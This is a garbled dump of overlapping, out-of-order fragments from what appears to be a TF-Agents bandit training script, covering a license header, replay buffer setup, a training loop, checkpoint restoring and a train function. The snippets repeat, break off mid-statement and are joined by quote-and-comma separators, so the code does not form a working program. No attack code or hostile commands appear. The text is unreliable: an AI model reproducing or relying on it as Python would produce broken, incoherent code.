tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver,", "replay_buffer.add_batch observers = [add_batch_fn, step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver(", "dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop = get_training_loop_fn(", "that writes checkpoints.\"\"\" trackable_objects = {metric.name: metric for metric in", "= policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in", "= get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir,", "that runs the driver and training loops. Args: driver: an", "None: data_spec = agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer", "function that writes checkpoints.\"\"\" trackable_objects = {metric.name: metric for metric", "metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects)", "# # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ]", "training_loop(): \"\"\"Returns a `tf.function` that runs the training loop.\"\"\" driver.run()", "be executed and presented to the trainer during each training", "OF ANY KIND, either express or implied. # See the", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "runs the driver and training loops. Args: driver: an instance", "of bandit interaction; # that is, (number of trajectories) *", "if i % 100 == 0: saver.save(os.path.join(root_dir, 'policy_%d' % step_metric.result()))", "ANY KIND, either express or implied. # See the License", "See the License for the specific language governing permissions and", "an instance of `TFAgent`. environment: an instance of `TFEnvironment`. training_loops:", "instance of `TFEnvironment`. training_loops: an integer indicating how many training", "the License. # You may obtain a copy of the", "for the specific language governing permissions and # limitations under", "reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is", "from scratch.') return checkpoint_manager def train(root_dir, agent, environment, training_loops, steps_per_loop,", "data items before they get to the replay buffer. \"\"\"", "to in writing, software # distributed under the License is", "latest) checkpoint.restore(latest) logging.info('Successfully restored to step %s.', step_metric.result()) else: logging.info('Did", "replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records the number", "training_loop() metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i", "# See the License for the specific language governing permissions", "under the License. r\"\"\"Generic TF-Agents training function for bandits.\"\"\" from", "or agreed to in writing, software # distributed under the", "checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest =", "the training loop.\"\"\" driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset(", "required by applicable law or agreed to in writing, software", "for the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop)", "trainer during each training loop. \"\"\" def training_loop(): \"\"\"Returns a", "reward return optimal_action_reward Args: root_dir: path to the directory where", "not find a pre-existing checkpoint. ' 'Starting from scratch.') return", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "[ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None: add_batch_fn = lambda", "trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir,", "optimal_action_reward Args: root_dir: path to the directory where checkpoints and", "`root_dir` and returns a function that writes checkpoints.\"\"\" trackable_objects =", "with the License. # You may obtain a copy of", "to log, in addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and", "integer indicating how many training loops should be run. steps_per_loop:", "not None: add_batch_fn = lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda", "+= [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if", "tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest is not", "regret is computed against each one of them. Here is", "def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for the given", "obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0", "os from absl import logging import tensorflow as tf #", "train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations", "the replay buffer. \"\"\" # TODO(b/127641485): create evaluation loop with", "= {metric.name: metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent", "compliance with the License. # You may obtain a copy", "for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100", "agreed to in writing, software # distributed under the License", "from tf_agents.drivers import dynamic_step_driver from tf_agents.eval import metric_utils from tf_agents.metrics", "training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn, step_metric] +", "data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch", "= tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics)", "checkpoint_manager.save() if i % 100 == 0: saver.save(os.path.join(root_dir, 'policy_%d' %", "distributed under the License is distributed on an \"AS IS\"", "i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result())", "return checkpoint_manager def train(root_dir, agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None):", "metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] =", "executed and presented to the trainer during each training loop.", "`TFUniformReplayBuffer` for the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size,", "or more baseline_reward_fns are provided, the regret is computed against", "input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience)", "rewards = ... # compute reward for each arm optimal_action_reward", "buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list()", "t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns", "= checkpoint_manager.latest_checkpoint if latest is not None: logging.info('Restoring checkpoint from", "%s.', step_metric.result()) else: logging.info('Did not find a pre-existing checkpoint. '", "r\"\"\"Generic TF-Agents training function for bandits.\"\"\" from __future__ import absolute_import", "= ... # compute reward for each arm optimal_action_reward =", "express or implied. # See the License for the specific", "training loops. Args: driver: an instance of `Driver`. replay_buffer: an", "except in compliance with the License. # You may obtain", "= tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info", "import division from __future__ import print_function import os from absl", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "\"\"\"Returns a `tf.function` that runs the driver and training loops.", "computed against each one of them. Here is example baseline_reward_fn:", "not use this file except in compliance with the License.", "import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import from tf_agents.drivers import", "logging.info('Did not find a pre-existing checkpoint. ' 'Starting from scratch.')", "to the replay buffer. \"\"\" # TODO(b/127641485): create evaluation loop", "policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops):", "agent, environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of", "writing, software # distributed under the License is distributed on", "root_dir: path to the directory where checkpoints and metrics will", "= tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default()", "return optimal_action_reward Args: root_dir: path to the directory where checkpoints", "you may not use this file except in compliance with", "agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter", "how many training loops should be run. steps_per_loop: an integer", "# Licensed under the Apache License, Version 2.0 (the \"License\");", "the trainer during each training loop. additional_metrics: Tuple of metric", "tf_agents.policies import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2", "# coding=utf-8 # Copyright 2020 The TF-Agents Authors. # #", "and metrics will be written. agent: an instance of `TFAgent`.", "unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info = agent.train(experience) replay_buffer.clear() return", "metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics += [ tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)]", "# TODO(b/127641485): create evaluation loop with configurable metrics. if training_data_spec_transformation_fn", "of individual rounds of bandit interaction; # that is, (number", "instance of `TFAgent`. steps: an integer indicating how many driver", "indicating how many training loops should be run. steps_per_loop: an", "that runs the training loop.\"\"\" driver.run() batch_size = driver.env.batch_size dataset", "objects to log, in addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`,", "tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt'", "= tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint", "should be run. steps_per_loop: an integer indicating how many driver", "for bandits.\"\"\" from __future__ import absolute_import from __future__ import division", "and # limitations under the License. r\"\"\"Generic TF-Agents training function", "= restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver", "data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) #", "CONDITIONS OF ANY KIND, either express or implied. # See", "data_spec = agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer =", "checkpoint.restore(latest) logging.info('Successfully restored to step %s.', step_metric.result()) else: logging.info('Did not", "`TFAgent`. environment: an instance of `TFEnvironment`. training_loops: an integer indicating", "metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i % 100 == 0: saver.save(os.path.join(root_dir,", "directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest is not None:", "is distributed on an \"AS IS\" BASIS, # WITHOUT WARRANTIES", "Checkpoint results. If one or more baseline_reward_fns are provided, the", "Args: root_dir: path to the directory where checkpoints and metrics", "[add_batch_fn, step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop", "batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps):", "agent, metrics, step_metric): \"\"\"Restores from `root_dir` and returns a function", "not None: logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored", "that is, (number of trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps()", "of `ReplayBuffer`. agent: an instance of `TFAgent`. steps: an integer", "tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric(", "steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer,", "(number of trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics =", "\"\"\"Returns a `tf.function` that runs the training loop.\"\"\" driver.run() batch_size", "an instance of `TFAgent`. steps: an integer indicating how many", "num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps) loss_info =", "import metric_utils from tf_agents.metrics import tf_metrics from tf_agents.policies import policy_saver", "get to the replay buffer. \"\"\" # TODO(b/127641485): create evaluation", "= [add_batch_fn, step_metric] + metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy,", "`agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def", "from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to step %s.', step_metric.result())", "of `Driver`. replay_buffer: an instance of `ReplayBuffer`. agent: an instance", "training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of training. Checkpoint results. If one", "# pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers =", "per_action_reward_fns): rewards = ... # compute reward for each arm", "step_metric = tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] +", "OR CONDITIONS OF ANY KIND, either express or implied. #", "from tf_agents.eval import metric_utils from tf_agents.metrics import tf_metrics from tf_agents.policies", "`tf.function` that runs the training loop.\"\"\" driver.run() batch_size = driver.env.batch_size", "tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size) ] + list(additional_metrics) if", "the License is distributed on an \"AS IS\" BASIS, #", "observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager =", "print_function import os from absl import logging import tensorflow as", "get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns a `tf.function` that runs the", "logging.info('Successfully restored to step %s.', step_metric.result()) else: logging.info('Did not find", "checkpoints.\"\"\" trackable_objects = {metric.name: metric for metric in metrics} trackable_objects[AGENT_CHECKPOINT_NAME]", "against each one of them. Here is example baseline_reward_fn: def", "\"\"\"Restores from `root_dir` and returns a function that writes checkpoints.\"\"\"", "__future__ import print_function import os from absl import logging import", "import os from absl import logging import tensorflow as tf", "from tf_agents.policies import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf =", "tf.nest.map_structure(lambda t: set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps):", "if training_data_spec_transformation_fn is not None: add_batch_fn = lambda data: replay_buffer.add_batch(", "dynamic_step_driver from tf_agents.eval import metric_utils from tf_agents.metrics import tf_metrics from", "to step %s.', step_metric.result()) else: logging.info('Did not find a pre-existing", "import logging import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import from", "train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir)", "create evaluation loop with configurable metrics. if training_data_spec_transformation_fn is None:", "optimal_action_reward = ... # take the maximum reward return optimal_action_reward", "division from __future__ import print_function import os from absl import", "replay_buffer.clear() return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric):", "replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience, steps)", "law or agreed to in writing, software # distributed under", "set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1] =", "environment, training_loops, steps_per_loop, additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of training.", "agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter)", "* environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop)", "= agent.train(experience) replay_buffer.clear() return loss_info return training_loop def restore_and_get_checkpoint_manager(root_dir, agent,", "checkpoint_manager.latest_checkpoint if latest is not None: logging.info('Restoring checkpoint from %s.',", "logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to step", "configurable metrics. if training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec else:", "def baseline_reward_fn(observation, per_action_reward_fns): rewards = ... # compute reward for", "lambda data: replay_buffer.add_batch( # pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn =", "latest is not None: logging.info('Restoring checkpoint from %s.', latest) checkpoint.restore(latest)", "TODO(b/127641485): create evaluation loop with configurable metrics. if training_data_spec_transformation_fn is", "an instance of `Driver`. replay_buffer: an instance of `ReplayBuffer`. agent:", "buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return buf def set_expected_shape(experience,", "= replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info = tf.data.experimental.get_single_element(dataset) set_expected_shape(experience,", "steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter =", "= 'ckpt' def get_replay_buffer(data_spec, batch_size, steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for", "steps_per_loop): \"\"\"Return a `TFUniformReplayBuffer` for the given `agent`.\"\"\" buf =", "tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME = 'step'", "pylint: disable=g-long-lambda training_data_spec_transformation_fn(data)) else: add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn,", "language governing permissions and # limitations under the License. r\"\"\"Generic", "def set_expected_shape(experience, num_steps): def set_time_dim(input_tensor, steps): tensor_shape = input_tensor.shape.as_list() tensor_shape[1]", "from `root_dir` and returns a function that writes checkpoints.\"\"\" trackable_objects", "# compute reward for each arm optimal_action_reward = ... #", "where checkpoints and metrics will be written. agent: an instance", "checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent, metrics, step_metric) train_step_counter = tf.compat.v1.train.get_or_create_global_step()", "tf.compat.v1.train.get_or_create_global_step() saver = policy_saver.PolicySaver(agent.policy, train_step=train_step_counter) summary_writer = tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for", "... # take the maximum reward return optimal_action_reward Args: root_dir:", "during each training loop. additional_metrics: Tuple of metric objects to", "in metrics} trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint =", "may obtain a copy of the License at # #", "the driver and training loops. Args: driver: an instance of", "<reponame>howards11/agents<filename>tf_agents/bandits/agents/examples/v2/trainer.py # coding=utf-8 # Copyright 2020 The TF-Agents Authors. #", "transforms the data items before they get to the replay", "at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,", "replay_buffer, agent, steps): \"\"\"Returns a `tf.function` that runs the driver", "steps) loss_info = agent.train(experience) replay_buffer.clear() return loss_info return training_loop def", "`AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms the data items before", "may not use this file except in compliance with the", "Args: driver: an instance of `Driver`. replay_buffer: an instance of", "checkpoint. ' 'Starting from scratch.') return checkpoint_manager def train(root_dir, agent,", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "this file except in compliance with the License. # You", "agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint,", "steps should be executed and presented to the trainer during", "import absolute_import from __future__ import division from __future__ import print_function", "additional_metrics=(), training_data_spec_transformation_fn=None): \"\"\"Perform `training_loops` iterations of training. Checkpoint results. If", "function that transforms the data items before they get to", "https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "\"\"\" def training_loop(): \"\"\"Returns a `tf.function` that runs the training", "metrics. if training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec else: data_spec", "coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed", "to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function", "compute reward for each arm optimal_action_reward = ... # take", "if latest is not None: logging.info('Restoring checkpoint from %s.', latest)", "# # Licensed under the Apache License, Version 2.0 (the", "# limitations under the License. r\"\"\"Generic TF-Agents training function for", "file except in compliance with the License. # You may", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "tensor_shape = input_tensor.shape.as_list() tensor_shape[1] = steps input_tensor.set_shape(tensor_shape) tf.nest.map_structure(lambda t: set_time_dim(t,", "num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns a `tf.function`", "else: add_batch_fn = replay_buffer.add_batch observers = [add_batch_fn, step_metric] + metrics", "checkpoint from %s.', latest) checkpoint.restore(latest) logging.info('Successfully restored to step %s.',", "to the trainer during each training loop. additional_metrics: Tuple of", "= tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest is", "a `TFUniformReplayBuffer` for the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec,", "take the maximum reward return optimal_action_reward Args: root_dir: path to", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "trackable_objects[AGENT_CHECKPOINT_NAME] = agent trackable_objects[STEP_CHECKPOINT_NAME] = step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager", "of trajectories) * batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics = [", "loop. additional_metrics: Tuple of metric objects to log, in addition", "batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience,", "training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn(", "metric_utils from tf_agents.metrics import tf_metrics from tf_agents.policies import policy_saver from", "iterations of training. Checkpoint results. If one or more baseline_reward_fns", "step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest", "`tf.function` that runs the driver and training loops. Args: driver:", "returns a function that writes checkpoints.\"\"\" trackable_objects = {metric.name: metric", "' 'Starting from scratch.') return checkpoint_manager def train(root_dir, agent, environment,", "in addition to default metrics `NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn:", "bandit interaction; # that is, (number of trajectories) * batch_size.", "= agent.policy.trajectory_spec else: data_spec = training_data_spec_transformation_fn( agent.policy.trajectory_spec) replay_buffer = get_replay_buffer(data_spec,", "training_data_spec_transformation_fn: Optional function that transforms the data items before they", "baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards = ... # compute reward", "restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores from `root_dir` and returns a", "with configurable metrics. if training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec", "get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager = restore_and_get_checkpoint_manager( root_dir, agent,", "Copyright 2020 The TF-Agents Authors. # # Licensed under the", "environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer, agent, steps_per_loop) checkpoint_manager", "be written. agent: an instance of `TFAgent`. environment: an instance", "if training_data_spec_transformation_fn is None: data_spec = agent.policy.trajectory_spec else: data_spec =", "the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer( data_spec=data_spec, batch_size=batch_size, max_length=steps_per_loop) return", "writes checkpoints.\"\"\" trackable_objects = {metric.name: metric for metric in metrics}", "training_loops: an integer indicating how many training loops should be", "number of individual rounds of bandit interaction; # that is,", "driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop", "= 'agent' STEP_CHECKPOINT_NAME = 'step' CHECKPOINT_FILE_PREFIX = 'ckpt' def get_replay_buffer(data_spec,", "isinstance(environment.reward_spec(), dict): metrics += [tf_metrics.AverageReturnMultiMetric( reward_spec=environment.reward_spec(), batch_size=environment.batch_size)] else: metrics +=", "tf_agents.metrics import tf_metrics from tf_agents.policies import policy_saver from tf_agents.replay_buffers import", "driver: an instance of `Driver`. replay_buffer: an instance of `ReplayBuffer`.", "an instance of `TFEnvironment`. training_loops: an integer indicating how many", "policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size, observers=observers) training_loop = get_training_loop_fn( driver, replay_buffer,", "tf_agents.eval import metric_utils from tf_agents.metrics import tf_metrics from tf_agents.policies import", "or implied. # See the License for the specific language", "KIND, either express or implied. # See the License for", "specific language governing permissions and # limitations under the License.", "\"\"\"Return a `TFUniformReplayBuffer` for the given `agent`.\"\"\" buf = tf_uniform_replay_buffer.TFUniformReplayBuffer(", "# take the maximum reward return optimal_action_reward Args: root_dir: path", "environment.batch_size, steps_per_loop) # `step_metric` records the number of individual rounds", "to the directory where checkpoints and metrics will be written.", "path to the directory where checkpoints and metrics will be", "training loop.\"\"\" driver.run() batch_size = driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size,", "* batch_size. step_metric = tf_metrics.EnvironmentSteps() metrics = [ tf_metrics.NumberOfEpisodes(), tf_metrics.AverageEpisodeLengthMetric(batch_size=environment.batch_size)", "def training_loop(): \"\"\"Returns a `tf.function` that runs the training loop.\"\"\"", "# that is, (number of trajectories) * batch_size. step_metric =", "= driver.env.batch_size dataset = replay_buffer.as_dataset( sample_batch_size=batch_size, num_steps=steps, single_deterministic_pass=True) experience, unused_info", "the number of individual rounds of bandit interaction; # that", "+ metrics driver = dynamic_step_driver.DynamicStepDriver( env=environment, policy=agent.collect_policy, num_steps=steps_per_loop * environment.batch_size,", "= ... # take the maximum reward return optimal_action_reward Args:", "(the \"License\"); # you may not use this file except", "steps_per_loop: an integer indicating how many driver steps should be", "is example baseline_reward_fn: def baseline_reward_fn(observation, per_action_reward_fns): rewards = ... #", "# you may not use this file except in compliance", "tf_agents.replay_buffers import tf_uniform_replay_buffer tf = tf.compat.v2 AGENT_CHECKPOINT_NAME = 'agent' STEP_CHECKPOINT_NAME", "tf_metrics from tf_agents.policies import policy_saver from tf_agents.replay_buffers import tf_uniform_replay_buffer tf", "`NumberOfEpisodes`, `AverageReturnMetric`, and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms the", "tf_metrics.AverageReturnMetric(batch_size=environment.batch_size)] if training_data_spec_transformation_fn is not None: add_batch_fn = lambda data:", "steps): \"\"\"Returns a `tf.function` that runs the driver and training", "tf.summary.create_file_writer(root_dir) summary_writer.set_as_default() for i in range(training_loops): training_loop() metric_utils.log_metrics(metrics) for metric", "License. r\"\"\"Generic TF-Agents training function for bandits.\"\"\" from __future__ import", "training_loop def restore_and_get_checkpoint_manager(root_dir, agent, metrics, step_metric): \"\"\"Restores from `root_dir` and", "records the number of individual rounds of bandit interaction; #", "and `AverageEpisodeLengthMetric`. training_data_spec_transformation_fn: Optional function that transforms the data items", "= step_metric checkpoint = tf.train.Checkpoint(**trackable_objects) checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5)", "= get_replay_buffer(data_spec, environment.batch_size, steps_per_loop) # `step_metric` records the number of", "should be executed and presented to the trainer during each", "# # Unless required by applicable law or agreed to", "be run. steps_per_loop: an integer indicating how many driver steps", "indicating how many driver steps should be executed and presented", "of training. Checkpoint results. If one or more baseline_reward_fns are", "set_time_dim(t, num_steps), experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns a", "the data items before they get to the replay buffer.", "checkpoint_manager = tf.train.CheckpointManager(checkpoint=checkpoint, directory=root_dir, max_to_keep=5) latest = checkpoint_manager.latest_checkpoint if latest", "is computed against each one of them. Here is example", "an instance of `ReplayBuffer`. agent: an instance of `TFAgent`. steps:", "additional_metrics: Tuple of metric objects to log, in addition to", "Tuple of metric objects to log, in addition to default", "Version 2.0 (the \"License\"); # you may not use this", "disable=g-explicit-tensorflow-version-import from tf_agents.drivers import dynamic_step_driver from tf_agents.eval import metric_utils from", "that transforms the data items before they get to the", "interaction; # that is, (number of trajectories) * batch_size. step_metric", "limitations under the License. r\"\"\"Generic TF-Agents training function for bandits.\"\"\"", "metric_utils.log_metrics(metrics) for metric in metrics: metric.tf_summaries(train_step=step_metric.result()) checkpoint_manager.save() if i %", "__future__ import absolute_import from __future__ import division from __future__ import", "`training_loops` iterations of training. Checkpoint results. If one or more", "implied. # See the License for the specific language governing", "absl import logging import tensorflow as tf # pylint: disable=g-explicit-tensorflow-version-import", "experience) def get_training_loop_fn(driver, replay_buffer, agent, steps): \"\"\"Returns a `tf.function` that", "under the Apache License, Version 2.0 (the \"License\"); # you", "\"\"\"Perform `training_loops` iterations of training. Checkpoint results. If one or", 